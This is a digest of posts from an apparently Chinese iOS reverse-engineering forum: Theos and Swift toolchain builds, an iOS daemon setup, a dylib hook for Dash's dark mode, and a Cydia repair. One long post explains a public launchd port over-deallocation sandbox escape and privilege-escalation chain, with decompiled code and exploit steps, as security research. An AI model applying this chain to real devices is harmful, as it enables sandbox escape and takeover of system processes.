目录下include ${THEOS}/makefiles/common.mk export TARGET = iphone:clang:11.2:8.0 # export SDKVERSION=5.1 # export CURRENT_VERSION = 0800 # TARGET = iphone:11.0:8.0 # TWEAK_NAME = SimulateTouch # SimulateTouch_FILES = SimulateTouch.mm # SimulateTouch_PRIVATE_FRAMEWORKS = IOKit # SimulateTouch_LDFLAGS = -lsubstrate -lrocketbootstrap LIBRARY_NAME = libsimulatetouch libsimulatetouch_FILES = STLibrary.mm libsimulatetouch_LDFLAGS = -lrocketbootstrap libsimulatetouch_INSTALL_PATH = /usr/lib/ libsimulatetouch_FRAMEWORKS = UIKit CoreGraphics # TOOL_NAME = stouch # stouch_FILES = main.mm # stouch_FRAMEWORKS = UIKit # stouch_INSTALL_PATH = /usr/bin/ # stouch_LDFLAGS = -lsimulatetouch include $(THEOS_MAKE_PATH)/tweak.mk include $(THEOS_MAKE_PATH)/library.mk include $(THEOS_MAKE_PATH)/tool.mk
0x08 这样不就成功了.此刻觉得大佬们不分享可能因为觉得太简单了
0x09 接下来继续编译完整的项目
include ${THEOS}/makefiles/common.mk export TARGET = iphone:clang:11.2:8.0 # export SDKVERSION=5.1 # export CURRENT_VERSION = 0800 # TARGET = iphone:11.0:8.0 TWEAK_NAME = SimulateTouch SimulateTouch_FILES = SimulateTouch.mm SimulateTouch_PRIVATE_FRAMEWORKS = IOKit SimulateTouch_LDFLAGS = -lsubstrate -lrocketbootstrap LIBRARY_NAME = libsimulatetouch libsimulatetouch_FILES = STLibrary.mm libsimulatetouch_LDFLAGS = -lrocketbootstrap libsimulatetouch_INSTALL_PATH = /usr/lib/ libsimulatetouch_FRAMEWORKS = UIKit CoreGraphics TOOL_NAME = stouch stouch_FILES = main.mm stouch_FRAMEWORKS = UIKit stouch_INSTALL_PATH = /usr/bin/ stouch_LDFLAGS = -lsimulatetouch include $(THEOS_MAKE_PATH)/tweak.mk include $(THEOS_MAKE_PATH)/library.mk include $(THEOS_MAKE_PATH)/tool.mk
由与SDK版本等各种环境问题你可能会遇到以下问题
- 提示下面
- 解决方式就是注释代码STLibrary的这些代码
// typedef enum { // UIInterfaceOrientationPortrait = 1,//UIDeviceOrientationPortrait, // UIInterfaceOrientationPortraitUpsideDown = 2,//UIDeviceOrientationPortraitUpsideDown, // UIInterfaceOrientationLandscapeLeft = 4,//UIDeviceOrientationLandscapeRight, // UIInterfaceOrientationLandscapeRight = 3,//UIDeviceOrientationLandscapeLeft // } UIInterfaceOrientation; // // @interface UIScreen // +(id)mainScreen; // -(CGRect)bounds; // @end
虽然说是手把手,但是好多细节我也忘记了,因为编译这个花费了两三天时间了,如果您在编译的过程中遇到什么其他问题,可以在评论里面问我,
Posts: 8
Participants: 3
@nu11 wrote:
https://github.com/fjh658/IDA7.0_SP
下载工程中编译好的libqcocoa1.dylib
将其copy到 /Applications/IDA Pro 7.0/ida.app/Contents/PlugIns/platforms/路径下即可
Posts: 3
Participants: 3
@Zhang wrote:
出于这样那样的原因我们时常需要自己编译一份Swift的编译器来使用。Apple官方在这方面的文档几乎没有。
首先你需要将以下文本保存到
~/.swift-build-presets
这个文件里[preset: LocalReleaseToolchain] ios tvos watchos lldb llbuild swiftpm playgroundsupport release compiler-vendor=apple dash-dash lldb-no-debugserver lldb-use-system-debugserver lldb-build-type=Release verbose-build build-ninja build-swift-static-stdlib build-swift-static-sdk-overlay playgroundsupport-build-type=Release skip-test-ios-host skip-test-tvos-host skip-test-watchos-host skip-test-ios skip-test-tvos skip-test-watchos skip-test-osx skip-test-cmark skip-test-lldb skip-test-swift skip-test-llbuild skip-test-swiftpm skip-test-xctest skip-test-foundation skip-test-libdispatch skip-test-playgroundsupport skip-test-libicu install-swift install-lldb install-llbuild install-swiftpm install-playgroundsupport install-destdir=%(install_destdir)s darwin-install-extract-symbols # Path where debug symbols will be installed. install-symroot=%(install_symroot)s # Path where the compiler, the runtime and the standard libraries will be # installed. install-prefix=%(install_toolchain_dir)s/usr # Executes the lit tests for the installable package that is created # Assumes the swift-integration-tests repo is checked out test-installable-package # If someone uses this for incremental builds, force reconfiguration. reconfigure swift-install-components=compiler;clang-builtin-headers;stdlib;swift-syntax;sdk-overlay;license;sourcekit-xpc-service;swift-remote-mirror;swift-remote-mirror-headers llvm-install-components=libclang;libclang-headers # Path to the .tar.gz package we would create. installable-package=%(installable_package)s # Path to the .tar.gz symbols package symbols-package=%(symbols_package)s # Info.plist darwin-toolchain-bundle-identifier=%(darwin_toolchain_bundle_identifier)s darwin-toolchain-display-name=%(darwin_toolchain_display_name)s darwin-toolchain-display-name-short=%(darwin_toolchain_display_name_short)s darwin-toolchain-name=%(darwin_toolchain_xctoolchain_name)s darwin-toolchain-version=%(darwin_toolchain_version)s darwin-toolchain-alias=%(darwin_toolchain_alias)s
这是个基于官方编译预设(叫做Build Preset)的配置按照我们的需求定制的预设,主要的好处是:
- 跳过了debugserver的编译(省去对debugserver进行代码签名)
- 跳过了所有耗时的测试用例
- 在Release模式下编译,默认的Toolchain脚本用Debug模式需要将近40GB的硬盘空间
然后我们正常clone一份Swift的源码:
mkdir SwiftSRC && git clone https://github.com/apple/swift.git -b swift-5.0-branch
更新Swift的其他组件:
swift/utils/update-checkout --clone
这个步骤取决于你的网速可能需要半个小时左右。
然后这里可以更改SwiftSRC/LLVM目录下的LLVM源码树来注入混淆Pass, 具体可以参见我的博客
然后修改Swift的工具链编译脚本
SwiftSRC/swift/utils/build-script
, 将如下部分:./utils/build-script ${DRY_RUN} ${DISTCC_FLAG} --preset="${SWIFT_PACKAGE}" \ install_destdir="${SWIFT_INSTALL_DIR}" \ installable_package="${SWIFT_INSTALLABLE_PACKAGE}" \
中的
${SWIFT_PACKAGE}
修改为我们一开始创建的Preset的名称,此处为LocalReleaseToolchain
,修改后变为--preset="LocalReleaseToolchain"
最后正常编译,在SwiftSRC目录下执行
swift/utils/build-toolchain 任意名称
即可,全程需花费3小时左右。
Posts: 1
Participants: 1
@Maka wrote:
###阅读之前建议先看下 Run a daemon (as root) on iOS,因为很多配置都和iOS10里面是一样的;
1.环境:iOS 11.0.1
Xcode9.4
安装最新版MonkeyDev(ps:已经安装的就更新,庆总有更新:fix invalid provision)
2.Xcode新建项目,选择:
3.建好的工程如下:
其中monkeydev.entitlements文件就是MD更新后新增的;我把main.c改为了main.mm;将里面代码改为:
用来验证守护进程是否正确运行;
4.进入工程Finder中,在package文件夹下面新建两个文件夹,名字及关系为:/Library/LaunchDaemons/,在LaunchDaemons文件夹中创建plist文件,名字为com.ztwl.demo.plist;保证和contol里面的package名字一致;
如图:![]()
plist里面代码为:
<?xml version="1.0" encoding="UTF-8"?>KeepAlive Label com.ztwl.demo ProgramArguments /usr/bin/demo RunAtLoad SessionCreate StandardErrorPath /dev/null inetdCompatibility Wait5.同样打开Finder,进入DEBIAN文件夹下,添加两个文件postinst、prerm;
prerm 代码为:#!/bin/sh chown -R root:wheel /usr/bin/demo chown -R root:wheel /Library/LaunchDaemons/com.ztwl.demo.plist /bin/launchctl unload /Library/LaunchDaemons/com.ztwl.demo.plist /bin/launchctl load /Library/LaunchDaemons/com.ztwl.demo.plist
prerm 代码为:
#!/bin/sh /bin/launchctl unload /Library/LaunchDaemons/com.ztwl.demo.plist
其中 postinst文件:是插件安装后执行的脚本;
prerm文件:软件卸载前需要执行的脚本。
6.工程配置好端口号等参数,编译插件;
7.验证:我用console查看,效果如下:
至此iOS11上面守护进程运行完毕。
记录了实现过程,感谢狗神及庆总的帮助。有不对的地方请指正。
Posts: 1
Participants: 1
@ChiChou wrote:
Dash 不多介绍,
虽然他很多 bug 和安全漏洞,重度依赖这货查文档。适配 mac Mojave 新推的黑色模式的方式不敢恭维,如下图所示,会将网页(除图片外)整个反色处理。也没见 Safari 自作聪明把网页反色了啊。这种机械反色表面上一看还算和谐,其实在大量文字(特别还是非母语)的时候就觉得对比度不合理影响阅读。
简单分析了一下,Dash 实现 WebView 反色是在整个 View 上加了一层滤镜:
void __cdecl -[DHWebView setDarkModeFiltersIfNeeded](DHWebView *self, SEL a2) { void *v2; // rax void *v3; // rax void *v4; // rax const __CFString *v5; // [rsp+0h] [rbp-50h] void *v6; // [rsp+8h] [rbp-48h] id v7; // [rsp+10h] [rbp-40h] void *v8; // [rsp+18h] [rbp-38h] __int64 v9; // [rsp+20h] [rbp-30h] if ( (unsigned __int8)+[DHAnnoManager isDark](&OBJC_CLASS___DHAnnoManager, "isDark") && (unsigned __int8)+[DHSystemVersionChecker _isSierra](&OBJC_CLASS___DHSystemVersionChecker, "_isSierra") ) { v2 = objc_msgSend(self, "contentFilters"); if ( !objc_msgSend(v2, "count") ) { v7 = ((id (__cdecl *)(DHWebView_meta *, SEL))objc_msgSend)( (DHWebView_meta *)&OBJC_CLASS___DHWebView, "cubeFilter"); v5 = CFSTR("inputContrast"); v6 = objc_msgSend(&OBJC_CLASS___NSNumber, "numberWithDouble:", 0.95, CFSTR("inputContrast")); v3 = objc_msgSend(&OBJC_CLASS___NSDictionary, "dictionaryWithObjects:forKeys:count:", &v6, &v5, 1LL); v8 = objc_msgSend(&OBJC_CLASS___CIFilter, "filterWithName:withInputParameters:", CFSTR("CIColorControls"), v3); v4 = objc_msgSend(&OBJC_CLASS___NSArray, "arrayWithObjects:count:", &v7, 2LL); objc_msgSend(self, "setContentFilters:", v4); } } else if ( __stack_chk_guard == v9 ) { objc_msgSend(self, "setContentFilters:", 0LL); } }
这个反色非常暴力,可以看到 WebView 的审查元素功能也被反色了
这个很简单,直接在
setContentFilters
方法上加一个 hook 就好了。第二处处理是使用 WebKit 添加用户 css,在所有图片上加了一层 invert css 滤镜:
此处代码质量真的不敢恭维(Dash 的 iOS 版本是开源的,可以去观摩一下什么叫烂代码,基本的循环什么都是不存在的,大段大段地 repeat yourself)
这里做自动化 patch 太麻烦了,最后我选择了在
setUserStyleSheetLocation
加载 css 之前打开这个文件,把含有invert()
的行过滤掉(其实这里需要一个 css parser,或者在 WebView 里用 javascript 匹配到这个规则然后移除掉,太懒了)代码抄袭了一部分 @Zhang 的某项目
// clang -shared -undefined dynamic_lookup -o /Applications/Dash.app/Contents/MacOS/libDash.dylib Dash.m // optool install -c load -p @executable_path/libDash.dylib -t /Applications/Dash.app/Contents/MacOS/Dash #import <Foundation/Foundation.h> #import <objc/runtime.h> static void pleasedontinvertwebview(/* we don't care about the args */) { NSLog(@"oops"); } typedef void (*OriginalSetUserCSSImp)(id self, SEL sel, NSURL *url); static OriginalSetUserCSSImp originalImp; static void pleasedontinvertimages(id self, SEL sel, NSURL *url) { NSLog(@"oops"); NSError *err = nil; NSString *content = [NSString stringWithContentsOfURL:url encoding:NSUTF8StringEncoding error:&err]; if (err) return; NSArray *lines = [content componentsSeparatedByString:@"\n"]; NSPredicate *predicate = [NSPredicate predicateWithFormat:@"NOT (SELF contains[c] 'invert()')"]; NSArray *filtered = [lines filteredArrayUsingPredicate:predicate]; NSString *style = [filtered componentsJoinedByString:@"\n"]; [style writeToURL:url atomically:YES encoding:NSUTF8StringEncoding error:nil]; originalImp(self, sel, url); } __attribute__((constructor)) static void webview() { Method m = class_getInstanceMethod(NSClassFromString(@"DHWebView"), NSSelectorFromString(@"setContentFilters:")); if (m) method_setImplementation(m, (IMP)pleasedontinvertwebview); m = class_getInstanceMethod(NSClassFromString(@"WebPreferences"), NSSelectorFromString(@"setUserStyleSheetLocation:")); if (m) { originalImp = (OriginalSetUserCSSImp)method_getImplementation(m); method_setImplementation(m, (IMP)pleasedontinvertimages); } }
Posts: 2
Participants: 1
@Peterpan0927 wrote:
0x00.前言
感觉名字不好听,但是我也不知道取什么名字了…
在玄武实验室的日推中发现了这个漏洞,发现又是个没见过的
bypass
姿势,于是就来研究一下吧,这个是利用了launchd
的一个漏洞,通过向他发送恶意消息可以将对应的进程dealloc
掉,然后伪造这个进程,相当于做port
间的中间人的攻击,就可以拿到其他进程的send right
,在这一点的基础上进行沙盒逃逸,提权和绕过签名。通过Brandon的写的文章我们来对整个的利用过程进行一个剖析,其实也可以视为是对他的文章的翻译,稍微修改了下,因为原文已经说的算是比较清楚了。
0x01.漏洞产生处
Brandon在进行iOS上的crash报告研究的时候,发现了这个漏洞,可以一种特殊的
crash
方式,可以让内核向launchd
发送一个Mach message
,从而使launchd
将这个进程的send right
在他的ipc_space
中over-dealloced
掉(double free)。那么我们就可以冒充这个进程。这个漏洞在
macOS
上也出现了,只不过在iOS上触发条件更为严格,因为在iOS上要求这个Mach message
从内核发送。launchd在处理EXC_CRASH异常消息时的over-deallocation
当一个进程发送
mach_exception_raise
或者mach_exception_raise_state_identity
消息给他的bootstap port
的时候,launchd
将会把这个异常消息作为一个host level
的异常去接收。不幸的是,
launchd
去处理这些代码的方式是有问题的,当异常的类型是EXC_CRASH
的时候,launchd
会销毁掉消息中的thread
和task port
并返回KERN_FAILURE
,接下来MIG系统会把这些再次销毁(这样的原因是因为如果返回的是KERN_SUCCESS
,就意味着launchd持有着这个消息中的资源,如果是KERN_FAILURE
,就意味着它并没有这些资源的所有权)下面就是处理部分的代码:
kern_return_t __fastcall catch_mach_exception_raise( // (a) The service routine is mach_port_t exception_port, // called with values directly mach_port_t thread, // from the Mach message mach_port_t task, // sent by the client. The exception_type_t exception, // thread and task ports could mach_exception_data_t code, // be arbitrary send rights. mach_msg_type_number_t codeCnt) { __int64 __stack_guard; // ST28_8@1 kern_return_t kr; // w0@1 MAPDST kern_return_t result; // w0@4 __int64 codes_left; // x25@6 mach_exception_data_type_t code_value; // t1@7 int pid; // [xsp+34h] [xbp-44Ch]@1 char codes_str[1024]; // [xsp+38h] [xbp-448h]@7 __stack_guard = *__stack_chk_guard_ptr; pid = -1; kr = pid_for_task(task, &pid); if ( kr ) { _os_assumes_log(kr); _os_avoid_tail_call(); } if ( current_audit_token.val[5] ) // (b) 如果发送这个消息的进程pid不是0 { // (不是内核进程) result = KERN_FAILURE; // 那么就会被拒绝 } else { if ( codeCnt ) { codes_left = codeCnt; do { code_value = *code; ++code; __snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", code_value); --codes_left; } while ( codes_left ); } launchd_log_2( 0LL, 3LL, "Host-level exception raised: pid = %d, thread = 0x%x, " "exception type = 0x%x, codes = { %s }", pid, thread, exception, codes_str); kr = deallocate_port(thread); // (c) 消息中的"thread" port if ( kr ) // 被deallocate掉了 { _os_assumes_log(kr); _os_avoid_tail_call(); } kr = deallocate_port(task); // (d) 消息中的"task" port if ( kr ) // 被deallocat掉了 { _os_assumes_log(kr); _os_avoid_tail_call(); } if ( exception == EXC_CRASH ) // (e) 如果异常的类型是 result = KERN_FAILURE; // EXC_CRASH, 就会返回 else // KERN_FAILURE,MIG result = 0; // 就会再次deallocate这些port } *__stack_chk_guard_ptr; return result; }
要想真正利用这个漏洞,就要能控制我们想要释放的服务,然后伪装成这个服务,那么我们就有很多的机会去提权呢,那么如何做到精准的释放呢?
触发漏洞
我们之所以能够触发漏洞来精准的释放我们想要释放的服务来源于
task_set_special_port
,在内核生成一个task
的异常消息的时候,内核会使用task_set_special_port
的send right
,而不是task
本身的,所以同理,通过thread_set_special_port
这个API就能达到我们的目的了。总的来说,我们分为下面几步:
- 通过
thread_set_exception_ports
来将launchd
作为异常处理者- 通过
bootstrap_look_up
来找到我们想要伪装的服务- 通过
task_set_special_port
/thread_set_special_port
设置将要替代的服务,用于替代异常消息中的send right
- 调用
abort
,内核就会生成EXC_CRASH
类型的异常消息发送给launchd
launchd
解析异常消息释放掉目标服务在crash之后继续运行
因为调用
abort
之后我们的进程就会被杀掉了,我们想要继续运行接下来的代码就需要新的方法如果是其他的异常类型进程是可以恢复的,只需要将其
thread exception handler
设置为launchd
,而task
级别的设置为他自己。那么在launchd
无法处理这个异常的时候,就会交给它自身了,从而线程状态并告知内核异常消息已经被处理。但是一个进程不能捕捉到它自身的EXC_CRASH
消息,所以我们需要两个进程。一个策略就是首先在另一个进程中触发漏洞,强制设置
kernel port
并crash
掉,然而,用App extension
是一个更好的方式。
App extension
在iOS 8中引入,它提供了将应用的一些功能打包,运行在应用之外的能力,它的代码运行在一个隔离的沙盒进程中,本来是和App extension
通信的API,但是Ian McDowell写了一个文章描述如何通过私有APINSExtension
去启动应用扩展并和它通信,我们也就是通过向launchd
注册应用扩展服务的那个端口和应用扩展进程之间通信。避免launchd中的端口复用
这里就是说了一个老生常谈的技巧,为了防止端口被其他的服务给抢占了,我们可以注册大量的服务,持有这些端口的
recv right
,那么等我们abort
的时候,这些端口也被释放掉了,构造出一长串的freelist
,而且我们最先释放的就是我们的目标服务,所以之后注册的服务就不大可能会复用到它头上来了。这个方法的局限性就在于我们需要
com.apple.security.application-groups
的entitlement
去向launchd
注册服务,虽然还有其他方式,但这种毫无疑问是最简单的了。伪装成被释放的服务
在我们的应用扩展释放了
launchd
中的目标服务的send right
,我们需要占有那个port name
,从而可以做port
之间的中间人攻击,截获所有客户端和service
通信的消息。这里因为已经使用了应用组的
entitlement
,所以我们就注册大量的服务直到他们其中的一个重用到了之前的那个port name
,那么其他的客户端寻找目标服务的时候launchd
就会将客户端的send right
返回给我们的端口,而不是原先的服务。0x02.攻击步骤
源代码都在
sandbox_escape.c
中,感兴趣的可以去参考链接中下载继续分析一下。步骤1.获取
host-priv
端口我们的目标就是伪造
SafetyNet
,然后使ReportCrash
崩溃掉,然后从异常消息中取回ReportCrash
的task port
,然后通过task_get_special_port
拿到host-priv port
,这就是我们整个流程的思路。ReportCrash和SafetyNet
ReportCrash
是在iOS系统上生成崩溃报告的,它事实上有4个服务,每一个都在不同的进程中:
com.apple.ReportCrash
,它是EXC_CRASH
、EXC_GUARD
和EXC_RESOURCE
在host level
的处理者com.apple.ReportCrash.Jetsam
处理Jetsam
的报告com.apple.ReportCrash.SimulateCrash
创建模拟器的崩溃报告com.apple.ReportCrash.SafetyNet
是com.apple.ReportCrash
的异常处理服务当
ReportCrash
启动的时候,它会在launchd
中去寻找SafetyNet
服务,并将返回的端口作为task level
的异常处理,也就是说,当ReportCrash
崩溃的时候,由SafetyNet
去处理它的消息,不仅如此,这两个服务在沙盒中都是可以访问到的。操作ReportCrash的前提
要想引出接下来的攻击,我们必须要达成接下来的步骤:后台
ReportCrash
,然后强迫它退出,奔溃掉,并保证我们使用它的时候它是一直运行的,至于为什么这样做,怎么做到接下来就是解释部分了:启动部分很简单,只需要通过一条
Mach message
,launchd
收到请求就会在启动他了,然而由于它奇怪的设定,除了mach_exception_raise_state_identity
之外的任何消息都是使它停止接收新消息并退出,如果我们之后要让它一直存活就要注意这一点。退出很简单就不说了,崩溃有很多方式,最简单的就是发送一个
thread port
设置为MACH_PORT_NULL
的mach_exception_raise_state_identity
消息即可。要保持让它一直运行,而且我们只能发送
mach_exception_raise_state_identity
消息,所以我们只能从这个消息上去想办法,ReportCrash
只有当所有生成崩溃报告的线程完成之后才会退出,所以我们只要想办法阻塞其中一个线程即可从函数的调用可以发现当
ReportCrash
想要创建一个崩溃报告的时候,会通过task_policy_get
方法从异常消息中获取task port
,这会向那个端口发送一个消息并等待回复,而我们的这个task port
可以自己设置,从而让它一直等待回复,而ReportCrash
则一直等待task_policy_get
这个函数去返回。下面解释为什么要这么做:
- 我们要伪造的服务是
SafetyNet
,通过漏洞将它释放掉然后我们自己占有原来的那个port name
- 让所有的
ReportCrash
实例退出掉,来确保接下来的ReportCrash
会去查找我们伪造的服务,并将其作为EXC_CRASH
的接收目标- 崩溃
ReportCrash
,我们伪造的服务将接收到崩溃消息- 从消息中可以提取到
ReportCrash
的task port
- 通过
task_get_special_port
拿到host port
,因为这个是以root
身份运行的,所以就是一个host priv
端口步骤2.沙盒逃逸
虽然拿到了
host priv
端口,但是我们还没有在沙盒之中,所以我们还需要进行沙盒逃逸,严格的来说这两步并不存在先后顺序,只是沙盒逃逸会让系统变得不稳定,所以我们就先拿到host priv
端口再说。这一步中我们还是利用
launchd
的漏洞去拿到task port
,伪造的服务是CARenderServer
,然后和com.apple.DragUI.druid.source
通信,druid
是一个无沙盒的守护进程,会将它的task port
通过Mach message
传给我们伪造的服务。但是这个方式在
iOS11.3
之后就不能用了,但是可以去寻找其他符合的服务,但前提是我们能够伪造成系统的服务,不然就是一切就休,不用谈下一步了崩溃druid
就像之前对
ReportCrash
所做的事情一样,这里用到了一个libxpc
的bug去达成,作者发现了一个可以让任何XPC
服务崩溃掉的越界读:void _xpc_dictionary_apply_wire_f ( OS_xpc_dictionary *xdict, OS_xpc_serializer *xserializer, const void *context, bool (*applier_fn)(const char *, OS_xpc_serializer *, const void *) ) { ... uint64_t count = (unsigned int)*serialized_dict_count; if ( count ) { uint64_t depth = xserializer->depth; uint64_t index = 0; do { const char *key = _xpc_serializer_read(xserializer, 0, 0, 0); size_t keylen = strlen(key); _xpc_serializer_advance(xserializer, keylen + 1); if ( !applier_fn(key, xserializer, context) ) break; xserializer->depth = depth; ++index; } while ( index < count ); } ... }
很显然的看出来上面的
strlen
函数没有对用户的数据做检查,所以在反序列化的时候访问越界内存或者_xpc_serializer_advance
尝试找到data的末尾都会导致crash。所以我们只需要构造一个键值没有闭合的字典作为XPC消息就可以让
druid
crash了。获取druid的task port
- 通过
launchd
的漏洞伪造CARenderServer
- 通过
Mach message
启动druid
- 如果没有收到
task port
就用libxpc
的bug杀掉再重启- 拿到
druid
的task port
绕过平台二进制
task port
的限制虽然我们拿到了
druid
的task port
,但是并不能做到在这个进程内的代码执行,原因就是因为task_conversion_eval
,在源码中可以看到调用关系:task_t convert_port_to_task( ipc_port_t port) { return convert_port_to_task_with_exec_token(port, NULL); } task_t convert_port_to_task_with_exec_token( ipc_port_t port, uint32_t *exec_token) { task_t task = TASK_NULL; if (IP_VALID(port)) { ip_lock(port); if ( ip_active(port) && ip_kotype(port) == IKOT_TASK ) { task_t ct = current_task(); task = (task_t)port->ip_kobject; assert(task != TASK_NULL); if (task_conversion_eval(ct, task)) { ip_unlock(port); return TASK_NULL; } ... return (task); }
其中
task_conversion_eval
就进行了校验,每个task
只能使用他们自己的task ports
,只有kernel task
才有所有的权限:kern_return_t task_conversion_eval(task_t caller, task_t victim) { /* * Tasks are allowed to resolve their own task ports, and the kernel is * allowed to resolve anyone's task port. */ if (caller == kernel_task) { return KERN_SUCCESS; } if (caller == victim) { return KERN_SUCCESS; } /* * Only the kernel can can resolve the kernel's task port. We've established * by this point that the caller is not kernel_task. */ if (victim == kernel_task) { return KERN_INVALID_SECURITY; } #if CONFIG_EMBEDDED /* * On embedded platforms, only a platform binary can resolve the task port * of another platform binary. */ if ((victim->t_flags & TF_PLATFORM) && !(caller->t_flags & TF_PLATFORM)) { #if SECURE_KERNEL return KERN_INVALID_SECURITY; #else if (cs_relax_platform_task_ports) { return KERN_SUCCESS; } else { return KERN_INVALID_SECURITY; } #endif /* SECURE_KERNEL */ } #endif /* CONFIG_EMBEDDED */ return KERN_SUCCESS; }
这就意味着哪怕我们拿到了
druid
的task port
,也没有办法通过mach_vm_*
去修改它的任何东西/* * Returns the set of threads belonging to the target task. */ routine task_threads( target_task : task_inspect_t; out act_list : thread_act_array_t);
但是
Bradon
在看一个MIG文件的时候发现有一个函数task_threads
,枚举task
内的线程,重点是这里的参数是task_inspect_t
而非task_t
,这就意味着MIG转换的时候用的并不是convert_port_to_task
而是convert_port_to_task_inspect
,从这个函数的逆向代码中可以看到其中并没有进行task_conversion_eval
,这意味着函数可以执行成功,更有意思的一点是返回的并不是thread_inspect_t rights
,而是thread_act_t
。也就是说,通过task_threads
这个函数,我们将不可修改的task right
替换成了可以修改的thread right
,在线程层次上也不存在说类似task
层面上的校验,也就是说我们可以通过Mach thread API
去绕过task_conversion_eval
。Brandon还在已有的
Mach thread API
上封装了一个能力更强的库threadexec,在Poc中用的就是这个库。步骤3.创建一个新的host层级的异常处理
- 通过
host_get_exception_ports
拿到host level
对于EXC_BAD_ACCESS
的异常处理端口- 分配一个端口作为新的异常处理
- 将
host-priv port
和send right
给我们刚创建的端口- 利用我们在
druid
中的上下文调用host_set_exception_ports
设置我们新的异常处理端口完成之后,任意访问非法内存并且没有注册的异常处理的进程,我们就可以通过
EXC_BAD_ACCESS
异常消息拿到那些进程的task port
,由于这个异常是可恢复的,那么就意味着可以通过task port
去执行代码了。步骤4.拿到ReportCrash的task port
我们之所以要再次获取这个,是因为之前的
ReportCrash
进程已经crash
了
让ReportCrash触发
EXC_BAD_ACCESS
mach_port_t reportcrash = context->reportcrash_service; reportcrash_keepalive_assertion_t reportcrash_assertion = reportcrash_keepalive(reportcrash); if (reportcrash_assertion == 0) { ERROR("Could not generate keepalive assertion for %s", REPORTCRASH_NAME); return false; } ... // 触发EXC_BAD_ACCESS的异常 reportcrash_keepalive_assertion_release(reportcrash_assertion);
因为
ReportCrash
并没有这种消息的处理者,EXC_CRASH
消息的处理者是SafetyNet
,所以异常消息会发送到我们分配的那个端口上去接收到异常消息之后,将
task port
和thread port
保存下来,并让进程恢复利用端口在进程内做代码执行,就像
druid
中一样步骤5.恢复原来的host-level异常处理
接下来的两步并不是一定要做但是最好还是做一下,这样exploit执行完成之后我们并不需要去重启设备或者做别的操作,和之前的系统基本一致。
当我们拿到
ReportCrash
内的代码执行之后,我们应该将原来的host level exception handler
恢复回去,通过druid
调用host_set_exception_ports
去重置异常处理端口:bool ok = threadexec_host_set_exception_ports( context->druid_tx, context->host_priv, EXC_MASK_BAD_ACCESS, context->host_exception_handler, context->host_exception_behavior, context->host_exception_flavor);
步骤6.修复launchd
- 通过
task_for_pid
拿到launchd
的task port
对于我们伪造的每个服务,都进行以下操作:
- 拿到fake service的
port name
- 将fake port和服务都销毁掉
- 调用
mach_port_insert_right
把真实的服务再塞回去0x03.提权过程
都到这里了你还想要什么?
0x04.参考链接
Posts: 2
Participants: 2
@tom555cat wrote:
通过Clang的libtooling对Objective-C的方法重命名,具体的代码和可执行工具地址:https://github.com/tom555cat/obfuscator-clang.git
详细说明地址:https://www.jianshu.com/p/3a8fb6f7c55f
Posts: 6
Participants: 2
@Joyven wrote:
如图所示,无法更新插件。这个起因是我自己写的淘宝的插件安装的时候出现如下问题:
(Reading database ... 6 files and directories currently installed.) Preparing to unpack /tmp/_theos_install.deb ... Unpacking cn.joyven.octopus.re (0.0.1-27+debug) over (0.0.1-27+debug) ... dpkg: dependency problems prevent configuration of cn.joyven.octopus.re: cn.joyven.octopus.re depends on mobilesubstrate; however: Package mobilesubstrate is not installed. dpkg: error processing package cn.joyven.octopus.re (--install): dependency problems - leaving unconfigured Errors were encountered while processing: cn.joyven.octopus.re
意思是缺少依赖模块mobilesubstrate,那么我就想办法去安装,在Cydia中找到Cydia substrate,据说mobilesubstrate这个插件现在改名为Cydia substrate。
安装Cydia substrate的时候,出现了上面的截图的问题。类似下面的信息:
2018-11-01 11:07:28.709 Cydia[1425:46615] UIDataDetectorTypeLegacyPhoneNumber is incompatible with other types (80000000) /bin/cp: `/var/mobile/Library/Caches/com.saurik.Cydia/extended_states' and `/var/lib/apt/extended_states' are the same file E:[Could not configure 'tar:iphoneos-arm'. ] E:[Could not perform immediate configuration on 'gzip:iphoneos-arm'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2)] E:[Couldn't configure grep:iphoneos-arm, probably a dependency cycle.] E:[Could not perform immediate configuration on 'lzma:iphoneos-arm'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2)] E:[Couldn't configure grep:iphoneos-arm, probably a dependency cycle.] E:[Could not perform immediate configuration on 'tar:iphoneos-arm'. Please see man 5 apt.conf under APT::Immediate-Configure for details. (2)] E:[Couldn't configure grep:iphoneos-arm, probably a dependency cycle.] 2018-11-01 11:07:58.914 Cydia[1466:47496] Setting Language: [(null)] zh-Hans,en
于是上网搜索相关的插件的安装包:tar_1.29-10_iphoneos-arm.deb,cydia_1.1.28_b14_iphoneos-arm.deb,cydia-lproj_1.1.12_iphoneos-arm.deb,gzip_1.6-7_iphoneos-arm.deb,bzip2_1.0.5-8_iphoneos-arm.deb,gzip_1.6-7_iphoneos-arm.deb,debianutils_3.4.3ubuntu1-2_iphoneos-arm.deb等。
通过scp命名将上面的文件上传到手机的/tmp目录下面,执行dpkg -i xxx.deb安装,首先用到的tar,但是安装tar失败了,无法解压,于是,在本地电脑执行 dpkg -X tar_1.29-10_iphoneos-arm.deb ./tar解压tar的deb文件到tar目录,然后将其上传到对应的目录,并做好软连接。接下来,安装其他的插件,除了gzip、bzip2安装成功,其他的均没有成功,因为cydia需要依赖debianutils,安装debianutils的时候要依赖dpkg,但是dpkg本来就安装的,而且版本是1.18,比起他要就的debianutils pre-depends on dpkg (>= 1.14.25-8)要高很多。
想着根据前面的tar的安装方法在本地解压好之后在传到手机上,但是,解压后太多了,肯定复制上去放到对应的文件也会有问题。隧弃之。
在网上继续搜索,找到有文说把对应的文件放到/var/lib/Media/Cydia/Autoinstall目录,我尝试放上去,重开机,无效。
最好,在某个网站找到解决方法:
今天用i4助手越狱了以下我的iPhone5,系统是8.12的,越狱完后,打开Cydia,安装几个插件,可是安装了PP助手源,威锋源后,安装个PP助手软件,然后再安装其它插件的时候,就开始出现Couldn’t configure pre-depend dpkg for ncurses, probably a dependency cycle ,这个红色的警告,然后就无法安装任何插件,我百度一下后,发现很多人都出现过这个问题,有不少人到论坛求助,可是很少有人给出解答,有人让重新越狱,可是越狱过之后就无法重新越狱了,我尝试了多次方法,最终在一国外网站发现了解决办法,英文的我就不再说了,方法是找一个已经越狱过的手机,把越狱文件夹里面var文件夹里的lib里面的dpkg文件夹导出来,然后再导入到出问题的Cydia手机里覆盖一下,然后就正常了。我把我的dpkg文件上传到附件里了,只是里面安装的有其它插件,你可以把它删掉。这个方法仅供测试,我的是弄成功了,你可以尝试一下,最好先备份。风险自负。
